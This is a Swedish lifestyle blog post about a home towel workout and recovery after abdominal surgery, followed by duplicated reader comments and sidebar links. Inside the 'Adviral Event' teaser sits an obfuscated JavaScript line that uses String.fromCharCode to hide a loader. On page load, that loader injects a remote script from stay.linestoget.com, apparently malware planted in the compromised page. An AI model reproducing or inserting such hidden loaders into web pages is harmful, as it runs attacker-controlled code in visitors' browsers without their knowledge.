Sugen på träningsutmaning?

20

image

Godmorgon!  Igår egtermiddag efter läkarbesök osv så kraschade jag hemma hos min Kalmar-fru. Jag blev bortskämd med middag, nyttig efterrätt, lattè på mandelmjölk Och frukttallrik. -Tack min fina vän <3

image

Jag är HELT slut! Inget allvarligt, bara sviter efter en tuff och intensiv jobb period… Idag ställde jag ingen klocka, grymt skön känsla att somna med den vetskapen…… jag har precis kört ett hemma pass ”cinderella  workout”  ett helt träningspass, det enda du behöver är en handuk  för att träna igenom HELA kroppen… detta är min PT Nathalies träningsmetod, som även hon är en utav hälsokickens profiler 🙂

-Är du intresserad utav dessa övningar? Skulle det vara roligt med lite återkommande tränings utmaningar här inne på bloggen? Skriv gärna och berätta vad du tycker 🙂

jag personligen är på ruta ett i min kroppsform, ingen kondition  eller styrka kvar sedan bukplastiken och ett låååååångt träningsuppehåll!

 -Kan jag så kan du 😉

nu ska jag ta mig över till butiken… puss & kram /My Martens

Föregående
Varnar känsliga läsare för nakna och obehagliga bilder Före, Under och efter min bukplastikoperation! Men då ni är många som har väntat på just dessa, så kommer dom, precis som jag lovade…
Nästa
Business & pleasures!

20 Komentarer

  2. jag vill gärna först, veta varför du ligger på golvet, haha.
    och sen gärna säga att JA gärna övningar på bloggen!!!
    Kör på bara, jag behöver komma igång NU men har inga övningar, kan inget alls.

  4. jag vill gärna först, veta varför du ligger på golvet, haha.
    och sen gärna säga att JA gärna övningar på bloggen!!!

    Kör på bara, jag behöver komma igång NU men har inga övningar, kan inget alls.

  6. Jag skäms för min kropp. Samtidigt som jag vet (och tycker ) att den är fantastisk. Efter graviditeter och amning så får man räkna med lite skavanker. Egentligen inget att haka upp sig på. Man duger som man är…Vill iallafall ha lite tips My.. Stor kram från soligt Göteborg

  8. Jag skäms för min kropp. Samtidigt som jag vet (och tycker ) att den är fantastisk. Efter graviditeter och amning så får man räkna med lite skavanker. Egentligen inget att haka upp sig på. Man duger som man är…Vill iallafall ha lite tips My.. Stor kram från soligt Göteborg

  9. Här är en till som är på ruta 1… ha ha, eller kanske 3 då. Otroligt dålig på att träna just nu och jag som älskar det… för mycket annat. Ha en härlig dag! KRAM

  11. Här är en till som är på ruta 1… ha ha, eller kanske 3 då. Otroligt dålig på att träna just nu och jag som älskar det… för mycket annat. Ha en härlig dag! KRAM

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Föregående
Varnar känsliga läsare för nakna och obehagliga bilder Före, Under och efter min bukplastikoperation! Men då ni är många som har väntat på just dessa, så kommer dom, precis som jag lovade…
Nästa
Business & pleasures!

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

Mys Blommor🌹/ Din florist / Högsta Kvalitet & Design💫 / 🌍 Catalina Torget 15 Täby 📲 08 36 36 14

Välkommen!

@mymartens

@mys_blommor

My Blommor Täby

Strong Mamas

© Copyright My Martens

Kontakt